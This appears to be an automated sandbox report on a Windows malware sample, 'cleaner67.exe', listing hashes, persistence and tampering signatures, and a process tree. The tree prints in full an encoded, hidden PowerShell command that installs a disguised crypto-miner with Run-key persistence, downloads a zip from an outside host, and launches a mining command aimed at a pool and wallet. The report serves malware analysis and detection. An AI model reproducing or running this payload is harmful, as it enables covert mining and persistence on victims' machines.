Analysis
- max time kernel
149s - max time network
130s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/10/2026, 22:52
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
cleaner67.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
18 signatures
150 seconds
Behavioral task
behavioral2
Sample
cleaner67.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
17 signatures
150 seconds
General
- Target cleaner67.exe
- Size 4.2MB
- Sample261026-2te4eshy9p
- SHA256 2d4da3390dd0553db752a126bf2809e8be3b8db5314efa39bdd3b53f2bec57ab
- MD5 b69c64508dcfdad203adc8a1f0fcdc6f
- SHA1 9bd8daa33c5a244932048c0c44d1b6d6ff7ff0fe
- SHA512 a3c75c398f04f154a2e7ee430b0574d16269552d02c886c72bdcc37353f52c9c73e6334a02739379387bc575812d3df20b278539f1dc30f053a9544c24f4cc7a
- SSDEEP 49152:tmm2RYOVgnnAtznzYtrUQBtCI756vmsE/ThV24L5HBTVhpCVjiVrSqqHV0jHj5L6:tm0W3W5HBJjCVjY5q10I
- TLSH T16D269D1BA3A901A8C0B7C07D8957550BFBB278465371EBCB57A086661F77BE05E3E320
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 2204 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2204 powershell.exe - Manipulates Digital Signatures 1 IoCs
Attackers can apply techniques such as modifying certain DLL exports to make their binary seem valid.
description ioc Process File opened for modification C:\Windows\System32\wintrust.dll bnd9D5F.tmp.exe - Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion cleaner67.exe - Executes dropped EXE 1 IoCs
pid Process 1572 bnd9D5F.tmp.exe - Loads dropped DLL 1 IoCs
pid Process 3948 Process not Found - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\MicrosoftEdge\\start.vbs\"" powershell.exe - Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 bnd9D5F.tmp.exe - Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\DMRCDecoder.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\pots.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\Windows.AccountsControl.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\actxprxy.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\CallButtons.ProxyStub.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\C_932.NLS bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\dlnashext.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\mfmpeg2srcsnk.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\Microsoft.Uev.ManagedEventLogging.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\FontProvider.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\GameBarPresenceWriter.proxy.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\officecsp.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\WpPortingLibrary.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\BluetoothApis.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\dmutil.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\ifsutil.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\PinEnrollmentHelper.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\pnpdiag.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\WallpaperHost.exe bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\cryptui.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\declaredconfiguration.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\esent.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\fdProxy.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\basecsp.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\d3d10_1.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\perfi010.dat bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\SettingsHandlers_Startup.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\sud.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\tpmvscmgr.exe bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\autoplay.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\DevPropMgr.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\dmview.ocx bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\vcomp120.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\ConsentUxClient.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\DAMediaManager.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\dmdskres.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\msaudite.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\NdfEventView.xml bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\Windows.UI.FileExplorer.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\wups.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\iesysprep.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\msdxm.ocx bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\OLD5232.tmp bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\PrintWSDAHost.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\mspaint.exe bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\PortableDeviceStatus.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\WindowsInternal.Shell.CompUiActivation.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\evr.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\edpcsp.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\iaspolcy.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\puiobj.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\Windows.Media.Playback.ProxyStub.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\wmitomi.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\ChxHAPDS.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\SettingsHandlers_Notifications.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\win32kns.sys bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\wshcon.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\c_GSM7.DLL bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\framedyn.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\kernel32.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\Microsoft.Bluetooth.Proxy.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\msdelta.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\printticketvalidation.dll bnd9D5F.tmp.exe File opened for modification C:\Windows\System32\remotesp.tsp bnd9D5F.tmp.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 2444 wscript.exe - Modifies termsrv.dll 1 TTPs 1 IoCs
Commonly used to allow simultaneous RDP sessions.
description ioc Process File opened for modification C:\Windows\System32\termsrv.dll bnd9D5F.tmp.exe - Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\INF\winusb.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\wmiacpi.PNF bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\c_mcx.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\c_media.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\ialpssi_gpio.PNF bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmdsi.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\net7500-x64-n650f.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\netnvma.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\ramdisk.PNF bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\storufs.PNF bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\cdrom.PNF bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\displaymux.PNF bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\input.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmmcd.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\netwew01.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\remoteposdrv.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\usbstor.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\volsnap.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\lsi_sas.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\PlutonHsp2.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\btampm.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\c_fsreplication.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\halextintclpiodma.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\hidinterrupt.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmhaeu.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmmot64.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmntt1.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmnttme.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\amdwps.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\intelpep.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\netavpna.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\netax88772.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\netrast.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\npsvctrig.PNF bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\wdmaudio.PNF bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\wnetvsc.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmlasat.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmpenr.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\npsvctrig.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\uicciso.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\c_fsactivitymonitor.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\c_fsundelete.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\c_nettrans.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\ialpss2i_i2c_bxt_p.PNF bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\ipmidrv.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmcxhv6.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\net1ic64.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\wvmic_kvpexchange.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\c_sbp2.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmhandy.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\megasas2i.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\ramdisk.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\routepolicy.PNF bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\wdmaudio.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\display.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\monitor.PNF bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\c_smrdisk.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\hidcfu.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmirmdm.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\virtdisk.PNF bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\c_multifunction.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmlucnt.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\mdmtdkj7.inf bnd9D5F.tmp.exe File opened for modification C:\Windows\INF\memory.PNF bnd9D5F.tmp.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\NV Hostname = "DESKTOP-YVV1VQL" bnd9D5F.tmp.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname = "DESKTOP-YVV1VQL" bnd9D5F.tmp.exe - Suspicious behavior: EnumeratesProcesses 44 IoCs
pid Process 2204 powershell.exe 1572 bnd9D5F.tmp.exe 1572 bnd9D5F.tmp.exe 1572 bnd9D5F.tmp.exe 1572 bnd9D5F.tmp.exe 1572 bnd9D5F.tmp.exe 1572 bnd9D5F.tmp.exe 1572 bnd9D5F.tmp.exe 1572 bnd9D5F.tmp.exe 1572 bnd9D5F.tmp.exe 1572 bnd9D5F.tmp.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 2204 powershell.exe Token: SeIncreaseQuotaPrivilege 2204 powershell.exe Token: SeSecurityPrivilege 2204 powershell.exe Token: SeTakeOwnershipPrivilege 2204 powershell.exe Token: SeLoadDriverPrivilege 2204 powershell.exe Token: SeSystemProfilePrivilege 2204 powershell.exe Token: SeSystemtimePrivilege 2204 powershell.exe Token: SeProfSingleProcessPrivilege 2204 powershell.exe Token: SeIncBasePriorityPrivilege 2204 powershell.exe Token: SeCreatePagefilePrivilege 2204 powershell.exe Token: SeBackupPrivilege 2204 powershell.exe Token: SeRestorePrivilege 2204 powershell.exe Token: SeShutdownPrivilege 2204 powershell.exe Token: SeDebugPrivilege 2204 powershell.exe Token: SeSystemEnvironmentPrivilege 2204 powershell.exe Token: SeRemoteShutdownPrivilege 2204 powershell.exe Token: SeUndockPrivilege 2204 powershell.exe Token: SeManageVolumePrivilege 2204 powershell.exe Token: 33 2204 powershell.exe Token: 34 2204 powershell.exe Token: 35 2204 powershell.exe Token: 36 2204 powershell.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4876 wrote to memory of 2204 4876 cleaner67.exe 89 PID 4876 wrote to memory of 1572 4876 cleaner67.exe 91 PID 2204 wrote to memory of 2444 2204 powershell.exe 94 PID 2444 wrote to memory of 3764 2444 wscript.exe 95
Processes
-
C:\Users\Admin\AppData\Local\Temp\cleaner67.exe"C:\Users\Admin\AppData\Local\Temp\cleaner67.exe"1⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
PID:4876 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABkAD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQAiADsAJABwAD0AIgAkAGQAXABTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIALgBlAHgAZQAiADsAbgBpACAAJABkACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAJABtAGsAPQB7ACAAJAB3AD0AKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAHwAPwB7ACQAXwAuAE4AYQBtAGUAfQB8AHMAZQBsAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxACkALgBOAGEAbQBlADsAaQBmACgAJAB3ACkAewAkAHcAPQAoACQAdwAgAC0AcgBlAHAAbABhAGMAZQAgACcAWwBeAEEALQBaAGEALQB6ADAALQA5AF0AJwAsACcAJwApAH0AZQBsAHMAZQB7ACQAdwA9ACcAJwB9ADsAaQBmACgAJAB3AC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADIAKQB7ACQAdwA9ACgALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAKwAoADYANQAuAC4AOQAwACkAfAAlAHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA2ACkAKQB9ADsAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAIgAkAGQAXABzAHQAYQByAHQALgB2AGIAcwAiACAAKAAnAFMAZQB0ACAAcwBoAD0AQwByAGUAYQB0AGUATwBiAGoAZQBjAHQAKAAiAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAIgApACAAOgAgAHMAaAAuAEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAPQBzAGgALgBFAHgAcABhAG4AZABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAUwB0AHIAaQBuAGcAcwAoACIAJQBBAFAAUABEAEEAVABBACUAXABNAGkAYwByAG8AcwBvAGYAdABcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAIgApACAAOgAgAHMAaAAuAFIAdQBuACAAIgBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ALQB1AHIAbAAgAHMAdAByAGEAdAB1AG0AKwBzAHMAbAA6AC8ALwBwAHIAbAAuAGsAcgB5AHAAdABlAHgALgBuAGUAdAB3AG8AcgBrADoAOAAwADQAOAAgAC0ALQB1AHMAZQByACAAcAByAGwAMQBwAGEAbABqAGMAYwA5AHkANwA0AHcAZQBjADMAMAB3AGUAdQB2AHcAZABtADIAOQBrADkAegAwADQAOQB6AHYAaAB4AHgAZAAzAGYAZwB6AGcAcABwADQANgBhAHcAOQBzAHkAcABmAHEAbAAyAGYAeQBqAHUALwAnACsAJAB3ACsAJwAgAC0ALQBnAHAAdQAtAGYAYQBuACAANgAwACIALAAgADAALAAgAEYAYQBsAHMAZQAnACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEEAUwBDAEkASQA7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIABTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAIAAoACcAdwBzAGMAcgBpAHAAdAAuAGUAeABlACAAIgAnACsAJABkACsAJwBcAHMAdABhAHIAdAAuAHYAYgBzACIAJwApADsAJABzAGEAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEUAeABwAGwAbwByAGUAcgBcAFMAdABhAHIAdAB1AHAAQQBwAHAAcgBvAHYAZQBkAFwAUgB1AG4AJwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABzAGEAKQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHMAYQAgAC0ATgBhAG0AZQAgAFMAeQBzAHQAZQBtAFMAZQB0AHQAaQBuAGcAcwBCAHIAbwBrAGUAcgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABCAGkAbgBhAHIAeQAgAC0AVgBhAGwAdQBlACAAKABbAGIAeQB0AGUAWwBdAF0AKAAyACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAAKQApACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfABPAHUAdAAtAE4AdQBsAGwAfQAgAH0AOwAkAGwAawA9ACIAJABkAFwAYgBvAG8AdAAuAGwAbwBjAGsAIgA7ACQAZgBzAD0AJABuAHUAbABsADsAZgBvAHIAZQBhAGMAaAAoACQAaQAgAGkAbgAgADEALgAuADEAMgAwACkAewB0AHIAeQB7ACQAZgBzAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AE8AcABlAG4AKAAkAGwAawAsACcATwBwAGUAbgBPAHIAQwByAGUAYQB0AGUAJwAsACcAUgBlAGEAZABXAHIAaQB0AGUAJwAsACcATgBvAG4AZQAnACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAAfQB9ADsAaQBmACgALQBuAG8AdAAgACQAZgBzACkAewBlAHgAaQB0AH0AOwAkAHcAZAA9AGkAZgAoACQAZQBuAHYAOgB3AGkAbgBkAGkAcgApAHsAJABlAG4AdgA6AHcAaQBuAGQAaQByAH0AZQBsAHMAZQB7ACcAQwA6AFwAVwBpAG4AZABvAHcAcwAnAH0AOwAkAHIAdQBuAD0AJABmAGEAbABzAGUAOwBHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfAAlAHsAJABuAD0AJABfAC4ATgBhAG0AZQA7AHQAcgB5AHsAJABxAD0AJABfAC4AUABhAHQAaAB9AGMAYQB0AGMAaAB7ACQAcQA9ACcAJwB9ADsAaQBmACgAJABxACAALQBhAG4AZAAgACgAKAAkAHEAIAAtAGkAZQBxACAAJABwACkAIAAtAG8AcgAgACQAcQAuAFQAbwBMAG8AdwBlAHIAKAApAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACQAZAAuAFQAbwBMAG8AdwBlAHIAKAApACsAJwBcACcAKQAgAC0AbwByACAAKAAkAG4AIAAtAGkAZQBxACAAJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwAgAC0AYQBuAGQAIAAtAG4AbwB0ACAAJABxAC4AVABvAEwAbwB3AGUAcgAoACkALgBTAHQAYQByAHQAcwBXAGkAdABoACgAJAB3AGQALgBUAG8ATABvAHcAZQByACgAKQApACkAKQApAHsAJAByAHUAbgA9ACQAdAByAHUAZQB9AH0AOwBpAGYAKAAkAHIAdQBuACkAewAkAGsAdgA9ACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAG0AZQAgAFMAeQBzAHQAZQBtAFMAZQB0AHQAaQBuAGcAcwBCAHIAbwBrAGUAcgAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwA7AGkAZgAoACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAiACQAZABcAHMAdABhAHIAdAAuAHYAYgBzACIAKQApACAALQBvAHIAIAAoAC0AbgBvAHQAIAAkAGsAdgApACAALQBvAHIAIAAoAC0AbgBvAHQAIAAkAGsAdgAuAEMAbwBuAHQAYQBpAG4AcwAoACQAZAApACkAKQB7ACYAIAAkAG0AawB9ADsAZQB4AGkAdAB9ADsAZgBvAHIAZQBhAGMAaAAoACQAaQAgAGkAbgAgADEALgAuADQAMAApAHsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHAAKQB7AHQAcgB5AHsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AEQAZQBsAGUAdABlACgAJABwACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAAfQB9AGUAbABzAGUAewBiAHIAZQBhAGsAfQB9ADsAJAB6AD0AIgAkAGQAXABrAC4AegBpAHAAIgA7AGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkAGkAZwBpAHQAYQBsAGYAbwByAGUAbgBzAGkAawBlAHIALwBtAHkAcgBlAGEAZABtAGUALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AcgBlAGEAZABtAGUALgB6AGkAcAAnACAALQBPAHUAdABGAGkAbABlACAAJAB6ADsARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAJAB6ACAAJABkACAALQBGAG8AcgBjAGUAOwBNAG8AdgBlAC0ASQB0AGUAbQAgACIAJABkAFwAcgBlAGEAZABtAGUALgBtAGQAIgAgACQAcAAgAC0ARgBvAHIAYwBlADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB6ACwAIgAkAGQAXABTAHQAYQByAHQALQBQAGUAYQByAGwALgBiAGEAdAAiACwAIgAkAGQAXABTAHQAYQByAHQALQBRAHUAYQBuAHQAdQBzAC4AYgBhAHQAIgAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAJgAgACQAbQBrADsAdwBzAGMAcgBpAHAAdAAuAGUAeABlACAAIgAkAGQAXABzAHQAYQByAHQALgB2AGIAcwAiAA==2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2204 -
C:\Windows\system32\wscript.exe"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\start.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\System32\SystemSettingsBroker.exe"C:\Windows\System32\SystemSettingsBroker.exe" --url stratum+ssl://prl.kryptex.network:8048 --user prl1paljcc9y74wec30weuvwdm29k9z049zvhxxd3fgzgpp46aw9sypfql2fyju/NVIDIAGeForce210 --gpu-fan 604⤵PID:3764
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bnd9D5F.tmp.exe"C:\Users\Admin\AppData\Local\Temp\bnd9D5F.tmp.exe"2⤵
- Manipulates Digital Signatures
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Drops file in System32 directory
- Modifies termsrv.dll
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:1572
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iq3sw0oj.qae.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
